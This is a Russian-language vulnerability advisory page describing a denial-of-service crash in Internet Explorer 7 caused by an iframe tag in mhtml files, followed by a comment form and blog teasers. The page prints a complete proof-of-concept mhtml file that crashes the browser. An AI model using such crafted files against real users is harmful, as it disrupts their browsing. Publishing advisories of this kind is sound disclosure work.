Уязвимости

Уязвимость при обработке mhtml файлов в Internet Explorer 7

Дата публикации:02.11.2006
Дата изменения: 07.04.2009
Всего просмотров: 4800
Опасность: Низкая
Наличие исправления: Да
Количество уязвимостей: 1
CVSSv2 рейтинг:
CVE ID: Нет данных
Вектор эксплуатации: Удаленная
Воздействие: Отказ в обслуживании
CWE ID: Нет данных
Наличие эксплоита:
Уязвимые продукты:

Уязвимые версии: Microsoft Internet Explorer 7

Описание:
Уязвимость позволяет удаленному пользователю аварийно завершить работу браузера.

Уязвимость существует из-за ошибки при обработке параметров тега iframe в mhtml файлах. Удаленный пользователь может с помощью специально сформированного mhtml файла аварийно завершить работу браузера. Пример mhtml файла:

Subject: Positive Technologies
Date: Sat, 23 Sep 2006 23:05:22 +0400
MIME-Version: 1.0
Content-Type: multipart/related;
type="text/html";
boundary="----=_NextPart_000_0000_01C6DF64.BF10C9F0"
X-MimeOLE: Produced By IE Fuzz 0.1

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01C6DF64.BF10C9F0
Content-Type: text/html;
charset="windows-1251"
Content-Transfer-Encoding: quoted-printable
Content-Location: about:blank



<iframe name=3Difr src=3D"">

------=_NextPart_000_0000_01C6DF64.BF10C9F0--

URL производителя: www.microsoft.com

Решение: Данная ошибка не является уязвимостью.



Ваше имя:
Тип обращения:
Смайлики
Широкая улыбка  Скептически  Идея 
Вопрос  Восклицание  Шутливо 
Со злостью  Очень грустно  Смущенно 
Поцелуй  Здорово  Удивленно 
Печально  С улыбкой  sensored 
Защита от автоматических сообщений:
Защита от автоматических сообщений
Символы на картинке:

                                                                                                                                                                                                                                               

Блоги
03.02.2012
Вот такие вот новости. Пока без деталей.


03.02.2012
33-ий выпуск одного из самых качественных журналов в нашей отрасли уже доступен для скачивания тут.В ...


02.02.2012
Purple haze all in my brainLately things just don't seem the sameActin' funny, but I don' ...


02.02.2012
Информационные технологии вообще и Интернет в частности должны приводить ко спрямлению социально-эко ...


02.02.2012
   Компании, желающие продвигатьсвои средства защиты информации (СЗИ), имеют возможность р ...


01.02.2012
На мой взгляд тестирование веб-приложений - одна из наиболее перспективных тем в области проведения ...


01.02.2012
Выражение «взято из открытых источников» или «из общедоступных источников» п ...


01.02.2012
Про универсальную электронную карту я уже писалне раз. И вот пару недель назад на сайте Минкомсвязи ...


01.02.2012
Вообще несмотря на отсутствие серьезных новостей в части законодательства по персданным, курс все ра ...


01.02.2012
Нет, это не статистика поисковых запросов настоящих элитный хакеров.Это Юра Гольцеврассказывает об у ...